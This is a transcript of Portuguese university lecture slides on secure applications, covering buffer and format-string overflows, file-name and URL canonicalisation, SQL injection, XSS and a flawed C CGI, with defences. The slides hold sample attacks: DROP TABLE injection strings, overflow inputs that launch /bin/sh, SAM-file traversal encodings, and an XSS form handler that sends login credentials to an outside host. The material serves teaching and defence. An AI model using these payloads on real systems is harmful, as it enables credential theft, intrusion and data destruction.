Aplicações Seguras. Exemplos de vulnerabilidades comuns. Carlos Ribeiro Algoritmos e Aplicações de Segurança

Tamanho: px
Começar a partir da página:

Download "Aplicações Seguras. Exemplos de vulnerabilidades comuns. Carlos Ribeiro Algoritmos e Aplicações de Segurança"

Transcrição

1 Aplicações Seguras Exemplos de vulnerabilidades comuns 1

2 Exemplos de Vulnerabilidades Protocolos de autenticação mal desenhados. E.g. WEP, 802.1x (1º versão), PPTP, MS- CHAPv1. Protocolos de comunicação inseguros. E.g. Primeiras versões do openssl. Algoritmos de cifra inseguros. O número é tão grande quanto os critptólogos Utilização incorrecta dos sistemas. E.g. Gestão de senhas. Incumprimento da política de segurança. Incorrecta gestão dos mecanismos de autorização E.g. Ficheiros confidenciais não protegidos Incorrecto desenho e implementação das aplicações 2

3 Vulnerabilidades: Índice Probs. relacionados com composição Aplicações/Serviços Percepção errada do comportamento da outra Canais dissimulados Protocolos Overflows Stack Smashing Heap overflow BSS overflow Index overflow Format overflow Entrada de dados com base em NOMES SQL injection Cross-site scritping (XSS) 3

4 Problemas relacionados com a composição Aplicações/Serviços Percepção errada do comportamento da outra Canais dissimulados Protocolos 4

5 Composição: Percepção errada Um servidor de rlogin recebia pedidos de autenticação e passava-os para o programa de login local Acontece que num dos casos o programa de login aceitava logins préautenticados de programas em modo root, se estes lhe passassem a opção f username Se um utilizador pedisse ao rlogin para autenticar o utilizador -froot entrava directamente. Nenhum dos programas estava errado, só não sabiam muito bem o que é que o outro fazia. 5

6 Composição: Canais dissimulados Ficheiros.tar com partes do ficheiro de passwords. Todos os ficheiros.tar distribuídos continham partes do ficheiro de passwords O programa tar Obtinha informações do utilizador efectuando uma chamada ao sistema Criava blocos de 512K em memória e depois escrevia-os para disco. As informações do utilizador eram obtidas a partir do ficheiro passwd e escritas num buffer do heap, posteriormente libertado. Os blocos de memória utilizados pelo tar eram provenientes do heap O último bloco não era totalmente rescrito 6

7 Composição: Protocolos É a familia de protocolos para o estabelecimento de ligações de nível 2 num meio sem fios X É um protocolo criado para autenticar ligações de nível 2 numa rede cablada A conjunção dos dois deveria dar uma ligação sem fios, de nível 2, autenticada, mas... os protocolo de autenticação (802.1X) desconhece a particularidades do protocolo de ligação (802.11) A possível enviar uma mensagem não autenticada para desligar a ligação e roubá-la. 7

8 Overflows Stack Smashing Heap overflow BSS overflow Index overflow Format overflow 8

9 Overflows: Stack smashing Utilização normal Stack top z (char[12]) void f ( int x, char * y ) { char z[12]; sprintf (z, %d %s, x, y ); write ( 2, z, strlen(z) ); } prev frame pointer return address x (int) y (char*) f activation record (stack frame) Stack growth Stack bottom 9

10 Overflows: Stack smashing void f ( int x, char * y ) { char z[12]; sprintf (z, %d %s, x, y ); write ( 2, z, strlen(z) ); } { }... f ( 12345, grande demais ); g r a n d e prev frame d pointer e m areturn i address s \ grande demais Stack top buffer overflow!! Stack growth Stack bottom 10

11 Stack Smashing. Mas pouco!! push ebp mov ebp,esp void f ( char * y ) { sub esp,8 char z[8]; strncpy(z, y, sizeof(z)); z[sizeof(z)] = \0 ; printf( %s\n,z); return; mov esp,ebp } pop ebp ret Main() { f( grande demais ); return; mov esp,ebp } pop ebp ret g r a n d e d prev frame pointer \0 return address grande demais prev frame pointer return address false frame pointer false return address Stack top esp (f) ebp (f) ebp (main) ebp (truncado) Stack bottom 11

12 Heap/BSS overflow Heap Reservado dinamicamente char *buf1 = (char*)malloc(bufsize); BSS Variáveis não inicializadas char buf[bufsize]; 12

13 BSS/Heap overflow char buf[16]; char *tmpfile; int main(int argc, char **argv) { FILE *tmpfd; } tmpfile = "/tmp/vulprog.tmp"; printf("enter one line of data to put in %s: ", tmpfile); gets(buf); tmpfd = fopen(tmpfile, "w"); if (tmpfd == NULL) { fprintf(stderr, "error opening %s: %s\n", tmpfile, strerror(errno)); exit(-1); } fputs(buf, tmpfd); fclose(tmpfd); Qual é o problema? Vai escrever por cima do pointeiro tmpfile Se fizermos tmpfile:=*argv[1] e argv[1]:= /etc/passwd Pode escrever para além dos limites do buffer. 13

14 BSS/Heap char buf[16]; int(*funcptr)(constchar *str); int main(int argc, char **argv) { Argv[1] := 16*A &system Argv[2] := /bin/sh Argv[1] := 16*A &argv[2] Argv[2] := shellcode Necessita de pilha executável funcptr = (int (*)(const char *str))goodfunc; memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], strlen(argv[1])); } (void)(*funcptr)(argv[2]); return 0; Argv[1] := shellcode &buf Necessita de heap executável 14

15 Arrays void insertint(unsigned long index, unsigned long value) { intvector[index] = value; } Main() { intvector = (int*)malloc(sizeof(int)*0xffff); index = atol(argv[1]); value = atol(argv[2]); insertint(index, value); } Pode escrever em qualquer parte da memória inclusivamente por cima de um endereço de retorno na pilha. Para escrever em endereços menores que a base é apenas necessário efectuar cálculo modular 15

16 Strings de formatação int main() { int bytes_formatted=0; char buffer[28]= ABCDEFGHIJKLMNOPQRSTUVWXYZ ; printf( %.20x%n,buffer,&bytes_formatted); printf( \nnumero de Bytes formatados: %d\n,bytes_formatted); } intmain(intargc, char *argv[]) { char buffer[512]=""; strncpy(buffer,argv[1],500); printf(buffer); } Argv[1] = shellcode %x%x%x%x%.numx%n retposition Num = &argv[1]-size(shellcode)-size(%x%x%x%x) 16

17 Entradas saídas com base em NOMES SQL injection Cross-site scritping (XSS) 17

18 baseada em nomes Nomes de quê? Ficheiros (nome e extensão) URLs Servidores (DNS) Utilizadores Muitas formas alternativas de representação de nomes. Se a validação desses nomes não for correctamente efectuada a segurança falha. 18

19 baseada em nomes: Então tudo se resume à correcção Pensamentos a evitar: O meu código não tem erros ; Nós já verificámos todas as entradas de dados ; Esse ataque é muito difícil, ninguém se vai dar ao trabalho ; Nós não temos esse problema: nós usamos... Cifra; firewalls; etc. Etc. Errar é humano (sabemos mas esquecemos frequentemente). 19

20 baseada em nomes de ficheiros Windows c:\winnt\repair\sam c:\winnt\repair\sam c:\winnt\repair\sam. c:\winnt\..\winnt\repair\sam \\?\c:\winnt\repair\sam c:\winnt\repair\sam::$data \\servername\c$\winnt\repair\sam \\?\UNC\servername\c$\winnt\repair \sam c:\program files\com1 20

21 baseada em nomes de URLs Todos as representações dos ficheiros (ASCII)../winnt/repair/sam (Escaped) %2e%2e/winnt/repair/sam (UTF-8) %c0%ae%c0%ae/winnt/repair/sam (UCS-2) %u002e%u002e/winnt/repair/sam (UCS2 fullwidth) %uff0e%uff0e/winnt/repair/sam (Double encoding) %252e%252e/winnt/repair/sam 21

22 baseada em nomes de Servidores & Utilizadores Servidores ribeiro ribeiro.tagus.ist.utl.pt \\ribeiro localhost \\localhost ou 127.x.x.x Utilizadores carlos ribeiro\carlos 22

23 baseada em nomes: O que fazer? Estar alerta para o problema. Não efectuar validações de segurança com base no nome ou extensão de ficheiros ou urls. Sempre que possível reduzir os nomes à forma canónica. Aceitar o válido rejeitar tudo o resto. 23

24 baseada em nomes: O cliente Os clientes também baseiam a segurança em nomes Os URLs são um caso típico Os URLs podem ser manipulados Envenenando as caches do DNS No futuro utilizando nomes visualmente iguais mas com códigos diferentes e 24

25 SQL Injection: O ataque clássico SQLQuery = SELECT Username FROM Users WHERE Username = & strusername & AND Password = & strpassword & strauthcheck = getqueryresult(sqlquery) If strauthcheck = Then bauthenticated = False Else bauthenticated = True End If Login: admin OR 1=1 Password: OR 1=1 SELECT Username FROM Users WHERE Username = admin OR 1=1 AND Password = OR 1=1 Login: OR 1=1 ; DROP TABLE Users -- Password: nao interessa SELECT Username FROM Users WHERE Username = OR 1=1 ; DROP TABLE Users -- 25

26 SQL Injection: Stored Procedures SQLQuery= EXEC sp_authenticate & Username &, Password strauthcheck = getqueryresult(sqlquery) Login: admin OR 1=1 -- Password: Falha!! EXEC sp_authenticate admin, OR 1=1 Login: admin, ; DROP TABLE Users -- Password: nao interessa Ok!! EXEC sp_authenticate admin, ; DROP TABLE Users -- 26

27 SQL Injection: O que fazer? Nem sempre os ataques são tão simples: Por vezes as queries são tão complexas que se torna difícil explorá-las. Mas... A solução é evitar o parsing das entradas pelo parser de SQL... Set cmd = CreateObject( ADOBD.Command ) cmd.command = select Username from Users where Username=? and Password=? Set parm1 = cmd.createparameter(...) parm1.value = strusername cmd.parameter.append parm1 Set parm2 = cmd.createparameter(...) parm2.value = strpassword cmd.parameter.append parm2 Set strauthcheck = cmd.execute... 27

28 Cross-site scripting (XSS) Site com a falha Servidor WWW Site atacante HTTP envenenado HTTP de ataque Cliente Atacado HTTP Servidor WWW Browser 28

29 Cross-site scripting (XSS) Site com a falha Servidor WWW <HTML> 404 page does not exist: FILENAME.html... </HTML> Cliente Atacado Browser 29

30 Cross-site scripting (XSS) Cliente Atacado O meu banco Servidor WWW Login: XPTO <FORM ACTION= login1.asp METHOD= post > <CENTER>Bad Login XPTO <br>username:<br><input TYPE= text NAME= login > <br>password:<br><input TYPE= password NAME= password >... 30

31 Cross-site scripting (XSS) Se em vez do username for introduzido: Bank Login: </form> <form action= login1.asp method= post onsubmit= XSSimage = new image; XSSimage.src= http// + document.forms(1).login.value + : + document.forms(1).password.value; > <FORM ACTION= login1.asp METHOD= post > <CENTER>Bad Login </form> <form action= login1.asp method= post onsubmit= XSSimage = new image; XSSimage.src= http// + document.forms(1).login.value + : + document.forms(1).password.value; > <br>username:<br><input TYPE= text NAME= login > <br>password:<br><input TYPE= password NAME= password > 31

32 Cross-site scripting (XSS) O atacante só tem que convencer o cliente atacado a clicar num link com o seguinte aspecto: %3Cform%20action=%22login1.asp%22%20method=%22p ost%22%20onsubmit=%22xssimage=new%20image;xssi mage.src= http// %20%2B%20document. forms(1).login.value%20%2b%20 : %20%2B%20documen t.forms(1).password.value;%22%3e 32

33 Cross-site scripting (XSS) O problema não é dos servidores Os clientes também têm ficheiros html File://c:/mydocuments/falha.html Browsers executam script locais sem perguntar Então o que fazer? 33

34 Cross-site scripting (XSS): Soluções Codificar as saídas Substituir símbolos interpretados pelo HTML Ex.: < é substituído por &lt Reduzir o número de símbolos HTML a um mínimo Testar o admitido (não testar o não aceite) Não reinventar a roda Se já existe bem feito reusem 34

35 Exemplo: CGI em C Static char cmd[128]; Static char format[] = grep %s phone.list\n ; Stack Overflow: Escreve por cima do endereço de retorno Int main(int argc, char *argv[]) { char buf[256]; gets(buf); sprintf(cmd, format, buf+5); syslog(36,cmd); write(1, Content-Type: text/plain\n\n 27); system(cmd); } Static buffer Overflow: Escreve por cima do format Validação de entrada: buf =. /etc/passwd Validação de entrada: cmd = carlos phone.list\n \tinocêncio\t\ \t00:02:00 word secreto.doc\n \tcarlos\t\ \t00:05:00grep Zé Logfile carlos :01:31 grep carlos phone.list inocêncio :02:00 word secreto.doc carlos :05:00 grep Zé phone.list 35

36 O que fazer? Pensar a segurança em todas as fases do projecto: Arquitectura Desenho Implementação Operação Efectuar a verificação por terceiros, quer do desenho quer da implementação. Utilizar ferramentas para: Detecção de erros comuns Protecção contra erros comuns Wrappers Compiladores especiais Conhecer os erros comuns. 36

37 Que entradas proteger? As de dados inseridos por humanos As de dados inseridos por aplicações/serviços Não assumir que a informação não é inserida por scripts automáticos. Não assumir que os dados vindos de outras aplicações estão sintaticamente correctos. Não assumir que ninguém vai detectar esse problema. Por ofuscação; Por falta de especialização. As de dados provenientes de ficheiros de configuração. Problemas de corridas entre verificação e utilização. Utilização de links nos sistemas de ficheiros. As de dados produzidos pelo próprio programa (defesa em profundidade) Entradas de dados implícitas 37

Aplicações Seguras. Carlos.Ribeiro@tagus.ist.utl.pt

Aplicações Seguras. Carlos.Ribeiro@tagus.ist.utl.pt Aplicações Seguras Carlos.Ribeiro@tagus.ist.utl.pt Problemas de segurança Protocolos de autenticação mal desenhados. E.g. WEP, 802.1x (1º versão), PPTP, MS-CHAPv1. Protocolos de comunicação inseguros.

Leia mais

Introdução a POO. Introdução a Linguagem C++ e POO

Introdução a POO. Introdução a Linguagem C++ e POO Introdução a POO Marcio Santi Linguagem C++ Introdução a Linguagem C++ e POO Programação Orientada a Objetos (POO) e C++ Recursos C++ não relacionados às classes Incompatibilidades entre C e C++ Classes

Leia mais

---- ECOpro ----- Manual de implementação

---- ECOpro ----- Manual de implementação ---- ECOpro ----- Manual de implementação Index Pag. PHP em IIS 7 2 Arquitectura 7 Configurar primeira entrada no ECO 11 Entrar no ECO pela primeira vez 12 Primeiros passos para configuração do ECO 13

Leia mais

Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu

Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu Fonte: http://www.online-security-solution.com/ - Illustration by Gaich Muramatsu Prof. Hederson Velasco Ramos Uma boa maneira de analisar ameaças no nível dos aplicativo é organiza las por categoria de

Leia mais

XSS - CROSS-SITE SCRIPTING

XSS - CROSS-SITE SCRIPTING Segurança XSS - CROSS-SITE SCRIPTING XSS - CROSS-SITE SCRIPTING Vamos supor a seguinte situação: O site ingenuo.com tem um fórum As pessoas escrevem comentários nesse fórum e eles são salvos diretamente

Leia mais

Os objetivos indicados aplicam-se a duas linguagens de programação: C e PHP

Os objetivos indicados aplicam-se a duas linguagens de programação: C e PHP AGRUPAMENTO DE ESCOLAS DE SANTA COMBA DÃO CURSO PROFISSIONAL DE TÉCNICO DE GESTÃO E PROGRAMAÇÃO DE SISTEMAS INFORMÁTICOS 2012-2015 PROGRAMAÇÃO E SISTEMAS DE INFORMAÇÃO MÓDULO 2 Mecanismos de Controlo de

Leia mais

1 2 3 W O R K S H O P 4 5 6 W O R K S H O P 7 W O R K S H O P 8 9 10 Instruções gerais para a realização das Propostas de Actividades Para conhecer em pormenor o INTERFACE DO FRONTPAGE clique aqui 11 CONSTRUÇÃO

Leia mais

Comunicação de Dados de Autenticação e Credenciais de Acesso para Resposta ao Inquérito

Comunicação de Dados de Autenticação e Credenciais de Acesso para Resposta ao Inquérito Mais informação Acesso ao Sistema de Transferência Electrónica de dados de Inquéritos (STEDI). Onde se acede ao sistema de entrega de Inquéritos? Deverá aceder ao sistema através do site do GEP www.gep.mtss.gov.pt

Leia mais

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL): Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL): Nos últimos anos uma das vulnerabilidades mais exploradas por usuários mal-intencionados é a injeção de SQL, onde o atacante realiza uma

Leia mais

OWASP. The OWASP Foundation http://www.owasp.org. As 10 mais críticas vulnerabilidades de segurança em Aplicações Web

OWASP. The OWASP Foundation http://www.owasp.org. As 10 mais críticas vulnerabilidades de segurança em Aplicações Web As 10 mais críticas vulnerabilidades de segurança em Aplicações Web Carlos Serrão Portugal ISCTE/DCTI/Adetti/NetMuST Abril, 2009 carlos.serrao@iscte.pt carlos.j.serrao@gmail.com Copyright 2004 - The Foundation

Leia mais

GlobalPhone - Central Telefónica. Manual de Configuração do ATA SPA3102 Linksys

GlobalPhone - Central Telefónica. Manual de Configuração do ATA SPA3102 Linksys Manual de Configuração do ATA SPA3102 Linksys Indíce 1 Introdução... 3 2 Upgrade de Firmware... 3 2.1 Verificação da Versão da FW... 3 2.2 Configuração do IP Fixo sem DHCP Server... 4 2.3 Obtenção do IP

Leia mais

Procedimentos para a divulgação de eventos no site da ECUM

Procedimentos para a divulgação de eventos no site da ECUM Procedimentos para a divulgação de eventos no site da ECUM Pressupostos introdutórios 3 Descrição da tarefa 4 Autenticação/Login 4 Página de entrada 4 Criar um novo evento 5 Colocar um evento em destaque

Leia mais

GlobalPhone - Central Telefónica. Manual de Configuração do ATA SPA2102 Linksys

GlobalPhone - Central Telefónica. Manual de Configuração do ATA SPA2102 Linksys Manual de Configuração do ATA SPA2102 Linksys Indíce 1 Introdução... 3 2 Upgrade de Firmware... 3 2.1 Verificação da Versão da FW... 3 2.2 Configuração do IP Fixo sem DHCP Server... 4 2.3 Obtenção do IP

Leia mais

INTRODUÇÃO BUFFER OVERFLOWS

INTRODUÇÃO BUFFER OVERFLOWS BUFFER OVERFLOW INTRODUÇÃO As vulnerabilidades de buffer overflow são consideradas ameaças críticas de segurança, apesar de ser uma falha bem-conhecida e bastante séria, que se origina exclusivamente na

Leia mais

prolider Software INSTALAÇÃO DA VERSÃO DEMO DO PROLIDER SOFTWARE COM SQL SERVER (AUTOMÁTICO).

prolider Software INSTALAÇÃO DA VERSÃO DEMO DO PROLIDER SOFTWARE COM SQL SERVER (AUTOMÁTICO). INSTALAÇÃO DA VERSÃO DEMO DO PROLIDER SOFTWARE COM SQL SERVER (AUTOMÁTICO). Antes de iniciar a instalação do Prolider Software, deverá verificar as seguintes situações: Requisitos mínimos do equipamento:

Leia mais

Forms Authentication em ASP.NET

Forms Authentication em ASP.NET Forms Authentication em ASP.NET Em muitos sites web é necessário restringir selectivamente o acesso a determinadas áreas, ou páginas, enquanto para outras páginas pode permitir-se acesso livre. ASP.NET

Leia mais

---- Webdbpro ----- Manual de implementação

---- Webdbpro ----- Manual de implementação ---- Webdbpro ----- Manual de implementação Index Pag. Introdução 2 PHP em IIS 7 3 Arquitectura 7 ECO SAF-T PT 8 Estrutura das directorias Glossário e licenciamento 12 13 Page 1 h t t p : / / w w w. e

Leia mais

13-10-2013. Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com

13-10-2013. Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com 13-10-2013 Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com Falha segurança Baco PerenBoom Cross-site scripting (XSS) e Logins por canal não seguro

Leia mais

Curso Profissional de Técnico de Gestão e Programação de Sistemas Informáticos. Sistemas Operativos - 2º Ano

Curso Profissional de Técnico de Gestão e Programação de Sistemas Informáticos. Sistemas Operativos - 2º Ano Curso Profissional de Técnico de Gestão e Programação de Sistemas Informáticos Sistemas Operativos - 2º Ano 2012/2013 O Windows Server 2003 surgiu em 2003 e substituiu o Windows Server 2000. O Windows

Leia mais

Tipos de Dados, Tipos Abstratos de Dados Estruturas de Dados

Tipos de Dados, Tipos Abstratos de Dados Estruturas de Dados Tipos de Dados, Tipos Abstratos de Dados Estruturas de Dados Tipo de dados, tipo abstrato de dados, estruturas de dados Termos parecidos, mas com significados diferentes Tipo de dado Em linguagens de programação

Leia mais

ZS Rest. Manual Avançado. Instalação em Rede. v2011

ZS Rest. Manual Avançado. Instalação em Rede. v2011 Manual Avançado Instalação em Rede v2011 1 1. Índice 2. Introdução... 2 3. Hardware... 3 b) Servidor:... 3 c) Rede:... 3 d) Pontos de Venda... 4 4. SQL Server... 5 e) Configurar porta estática:... 5 5.

Leia mais

Computação II Orientação a Objetos

Computação II Orientação a Objetos Computação II Orientação a Objetos Fabio Mascarenhas - 2014.1 http://www.dcc.ufrj.br/~fabiom/java Introdução Esse não é um curso de Java! O objetivo é aprender os conceitos da programação orientada a objetos,

Leia mais

Transações Seguras em Bancos de Dados (MySQL)

Transações Seguras em Bancos de Dados (MySQL) Transações Seguras em Bancos de Dados (MySQL) Índice Entendendo os storage engines do MySQL 5 1 As ferramentas 1 Mais algumas coisas que você deve saber 1 Com a mão na massa 2 Mais ferramentas Usando o

Leia mais

Segurança na WEB Ambiente WEB estático

Segurança na WEB Ambiente WEB estático Segurança de Redes Segurança na WEB Prof. Rodrigo Rocha prof.rodrigorocha@yahoo.com Servidor IIS Apache Cliente Browser IE FireFox Ambiente WEB estático 1 Ambiente Web Dinâmico Servidor Web Cliente Navegadores

Leia mais

Aspectos de Segurança em Programação com Java

Aspectos de Segurança em Programação com Java Aspectos de Segurança em Programação com Java Marcos Alexandre de Melo Medeiros Paulo Sérgio Motta Pires Departamento de Engenharia de Computação e Automação DCA UFRN marcosam@info.ufrn.br, pmotta@dca.ufrn.br

Leia mais

MANUAL DO UTILIZADOR DE REDE

MANUAL DO UTILIZADOR DE REDE MANUAL DO UTILIZADOR DE REDE Guardar o registo de impressão na rede Versão 0 POR Definições de notas Ao longo do Manual do utilizador, é utilizado o seguinte ícone: Notas sobre como enfrentar situações

Leia mais

- O MySQL para além da sua utilização em modo linha de comandos, também pode ser utilizado através de ferramentas gráficas.

- O MySQL para além da sua utilização em modo linha de comandos, também pode ser utilizado através de ferramentas gráficas. Objetivo: Utilização das ferramentas gráficas do MySQL Instalação das ferramentas gráficas do MySQL: - O MySQL para além da sua utilização em modo linha de comandos, também pode ser utilizado através de

Leia mais

PHP e MySQL Autenticação de Usuários

PHP e MySQL Autenticação de Usuários PHP e MySQL Autenticação de Usuários Programação de Servidores Marx Gomes Van der Linden http://marx.vanderlinden.com.br/ Controle de Acesso A maioria das aplicações web envolve em algum ponto um mecanismo

Leia mais

HTML - 7. Vitor Vaz da Silva Paula Graça

HTML - 7. Vitor Vaz da Silva Paula Graça HTML - 7 Vitor Vaz da Silva Paula Graça 1 Formulários Os formulários forms no HTML, são utilizados para a introdução de dados de uma determinada aplicação Os programas JavaScript têm como um dos seus maiores

Leia mais

Comunicação entre Processos Canal de comunicação Arquitetura da comunicação Modelos de comunicação

Comunicação entre Processos Canal de comunicação Arquitetura da comunicação Modelos de comunicação Comunicação entre Processos Canal de comunicação Arquitetura da comunicação Modelos de comunicação Sistemas Operativos 2015-2016 O que construímos até agora... A abstração de processo 2 A possibilidade

Leia mais

Ataques a Aplicações Web

Ataques a Aplicações Web Ataques a Aplicações Web - Uma visão prática - Carlos Nilton A. Corrêa http://www.carlosnilton.com.br/ ccorrea@unimedrj.com.br @cnacorrea Agenda 1. Panorama da (in)segurança web 2. Google hacking 3. SQL

Leia mais

Tabela de Símbolos. Análise Semântica A Tabela de Símbolos. Principais Operações. Estrutura da Tabela de Símbolos. Declarações 11/6/2008

Tabela de Símbolos. Análise Semântica A Tabela de Símbolos. Principais Operações. Estrutura da Tabela de Símbolos. Declarações 11/6/2008 Tabela de Símbolos Análise Semântica A Tabela de Símbolos Fabiano Baldo Após a árvore de derivação, a tabela de símbolos é o principal atributo herdado em um compilador. É possível, mas não necessário,

Leia mais

Algoritmos e Programação Estruturada

Algoritmos e Programação Estruturada Algoritmos e Programação Estruturada Virgínia M. Cardoso Linguagem C Criada por Dennis M. Ritchie e Ken Thompson no Laboratório Bell em 1972. A Linguagem C foi baseada na Linguagem B criada por Thompson.

Leia mais

Configurando um servidor WWW seguro. Centro de Atendimento a Incidentes de Segurança - CAIS

Configurando um servidor WWW seguro. Centro de Atendimento a Incidentes de Segurança - CAIS Configurando um servidor WWW seguro Novembro de 1998 Centro de Atendimento a Incidentes de Segurança - CAIS Web Seguro Índice: Introdução Técnicas recomendadas Recomendações Gerais Problemas de segurança

Leia mais

Linguagem C Tipos de Dados. void; escalares; sizeof Vectores; strings em C Estruturas Introdução ao pré-processador

Linguagem C Tipos de Dados. void; escalares; sizeof Vectores; strings em C Estruturas Introdução ao pré-processador Linguagem C Tipos de Dados void; escalares; sizeof Vectores; strings em C Estruturas Introdução ao pré-processador Funções void void pode ser usado em lugar de um tipo, para indicar a ausência de valor

Leia mais

Instruções para instalação do SecureW2 em Windows Mobile 5.0 e 2003

Instruções para instalação do SecureW2 em Windows Mobile 5.0 e 2003 Campus de Gualtar 4710-057 Braga P Serviço de Comunicações Instruções para instalação do SecureW2 em Windows Mobile 5.0 e 2003 Requisitos: Ter instalado o ActiveSync da Microsoft no computador pessoal

Leia mais

Algoritmos e Programação

Algoritmos e Programação Universidade Federal do Vale do São Francisco Curso de Engenharia da Produção / Elétrica Algoritmos e Programação Parte 05 Prof. Jorge Cavalcanti jorge.cavalcanti@univasf.edu.br www.univasf.edu.br/~jorge.cavalcanti

Leia mais

Introdução à Camada de Aplicação. Prof. Eduardo

Introdução à Camada de Aplicação. Prof. Eduardo Introdução à Camada de Aplicação RC Prof. Eduardo Introdução Você sabe que existem vários tipos de programas na Internet? - Talvez você já tenha notado que existem vários programas diferentes para cada

Leia mais

www.coldfusionbrasil.com.br

www.coldfusionbrasil.com.br www.coldfusionbrasil.com.br 2000 PASSANDO VARIÁVEIS ATRAVÉS DE FORM E URL 3 ALTERA.CFM 3 FORMALTERA.CFM 4 ALTERA.CFM 4 FORMALTERA.CFM 4 CRIANDO E MANIPULANDO VARIÁVEIS COM CFSET 4 VALORES ESTÁTICOS 5 PARÂMETROS

Leia mais

O Manual do Desktop Sharing. Brad Hards Tradução: Pedro Morais

O Manual do Desktop Sharing. Brad Hards Tradução: Pedro Morais Brad Hards Tradução: Pedro Morais 2 Conteúdo 1 Introdução 5 2 O protocolo do Remote Frame Buffer 6 3 Utilizar o Desktop Sharing 7 3.1 Gerir convites do Desktop Sharing............................ 9 3.2

Leia mais

Internet e protocolos web. A Internet é uma rede descentralizada de recursos computacionais. Topologia tem de fornecer caminhos alternativos

Internet e protocolos web. A Internet é uma rede descentralizada de recursos computacionais. Topologia tem de fornecer caminhos alternativos Internet e protocolos web A Internet é uma rede descentralizada de recursos computacionais Tolerante a falhas (no single point of failure) Topologia tem de fornecer caminhos alternativos entre 2 computadores

Leia mais

Criação de Páginas Web - MS Word 2000

Criação de Páginas Web - MS Word 2000 Gestão Comercial e da Produção Informática I 2003/04 Ficha de Trabalho N.º 9 Criação de Páginas Web - MS Word 2000 1. Criação de uma página Web (HTML): Escreva o seu texto e introduza as imagens pretendidas

Leia mais

3 SERVIÇOS IP. 3.1 Serviços IP e alguns aspectos de segurança

3 SERVIÇOS IP. 3.1 Serviços IP e alguns aspectos de segurança 3 SERVIÇOS IP 3.1 Serviços IP e alguns aspectos de segurança Os serviços IP's são suscetíveis a uma variedade de possíveis ataques, desde ataques passivos (como espionagem) até ataques ativos (como a impossibilidade

Leia mais

Tarefa Orientada 18 Procedimentos armazenados

Tarefa Orientada 18 Procedimentos armazenados Tarefa Orientada 18 Procedimentos armazenados Objectivos: Criar Procedimentos armazenados Chamar procedimentos armazenados Utilizar parâmetros de entrada e de saída Um procedimento armazenado representa

Leia mais

Sistema de Inscrições Automáticas na Internet. Manual do Utilizador

Sistema de Inscrições Automáticas na Internet. Manual do Utilizador Sistema de Inscrições Automáticas na Internet Manual do Utilizador Versão 1.6 Agosto de 2005 O Sistema de Inscrições Automáticas está disponível nos seguintes anos: 1ºano (repetentes), 2ºano, 3ºano e 4ºano

Leia mais

Nível da Arquitetura do Conjunto das Instruções

Nível da Arquitetura do Conjunto das Instruções Nível da Arquitetura do Conjunto das Instruções (Aula 13) Fluxo de Controle Fluxo Seqüencial de Controle e Desvios (1) Fluxo de Controle: É a seqüência na qual instruções são dinamicamente executadas Isto

Leia mais

Introdução a Banco de Dados

Introdução a Banco de Dados Introdução a Banco de Dados Ricardo Henrique Tassi - Departamento de Replicação Índice 1- Introdução... 03 2- Quais são os bancos de dados mais conhecidos hoje em dia...04 3- Quais são os tipos de banco...05

Leia mais

1) Ao ser executado o código abaixo, em PHP, qual será o resultado impresso em tela?

1) Ao ser executado o código abaixo, em PHP, qual será o resultado impresso em tela? Exercícios sobre Linguagem PHP: 1) Ao ser executado o código abaixo, em PHP, qual será o resultado impresso em tela? 2) Considere a linguagem de programação PHP e seus operadores. A execução da sentença:

Leia mais

Editor HTML. Composer

Editor HTML. Composer 6 Editor HTML 6 Composer Onde criar Páginas Web no Netscape Communicator? 142 A estrutura visual do Composer 143 Os ecrãs de apoio 144 Configurando o Composer 146 A edição de Páginas 148 Publicando a sua

Leia mais

Referencial do Módulo B

Referencial do Módulo B 1 Referencial do Módulo B Liga, desliga e reinicia correctamente o computador e periféricos, designadamente um scanner; Usa o rato: aponta, clica, duplo-clique, selecciona e arrasta; Reconhece os ícones

Leia mais

Manual de procedimentos para ligação à rede sem fios minedu

Manual de procedimentos para ligação à rede sem fios minedu 1 - Configuração no Windows Vista Exemplo de configuração de 802.1x com Certificados de Servidor para o Windows Vista. Antes de iniciar os passos de configuração, verifique se tem a placa Wireless ligada,

Leia mais

Guia de administração para a integração do Portrait Dialogue 6.0. Versão 7.0A

Guia de administração para a integração do Portrait Dialogue 6.0. Versão 7.0A Guia de administração para a integração do Portrait Dialogue 6.0 Versão 7.0A 2013 Pitney Bowes Software Inc. Todos os direitos reservados. Esse documento pode conter informações confidenciais ou protegidas

Leia mais

Programação Orientada a Objetos com PHP & MySQL Sistema Gerenciador de Banco de Dados: Introdução e configuração de bases de dados com Postgre e MySQL

Programação Orientada a Objetos com PHP & MySQL Sistema Gerenciador de Banco de Dados: Introdução e configuração de bases de dados com Postgre e MySQL Programação Orientada a Objetos com PHP & MySQL Sistema Gerenciador de Banco de Dados: Introdução e configuração de bases de dados com Postgre e MySQL Prof. MSc. Hugo Souza Iniciando nossas aulas sobre

Leia mais

Aula 3. Ivan Sendin. 22 de agosto de FACOM - Universidade Federal de Uberlândia SEG. Ivan Sendin.

Aula 3. Ivan Sendin. 22 de agosto de FACOM - Universidade Federal de Uberlândia SEG. Ivan Sendin. Segurança Aula 3 FACOM - Universidade Federal de Uberlândia ivansendin@yahoo.com,sendin@ufu.br 22 de agosto de 2018 Informação =$$ Confidencialidade, Integridade e Disponibilidade (qual é mais importante?)

Leia mais

Introdução a Programação. Ponteiros e Strings, Alocação Dinâmica

Introdução a Programação. Ponteiros e Strings, Alocação Dinâmica Introdução a Programação Ponteiros e Strings, Alocação Dinâmica Tópicos da Aula Hoje aprenderemos a relação entre ponteiros e strings Ponteiros para strings X Vetores de Caracteres Vetores de ponteiros

Leia mais

Como criar e gerir um blog?

Como criar e gerir um blog? Como criar e gerir um blog? Como criar um blog? Como escrever num blog? Como visualizar o meu blog? Como apagar ou emendar um texto que já tenha sido publicado? O Sistema de Comentários Configurações Importantes!!

Leia mais

Com o smartmessage podemos de forma muito fácil e usando um qualquer cliente de email, como por exemplo:

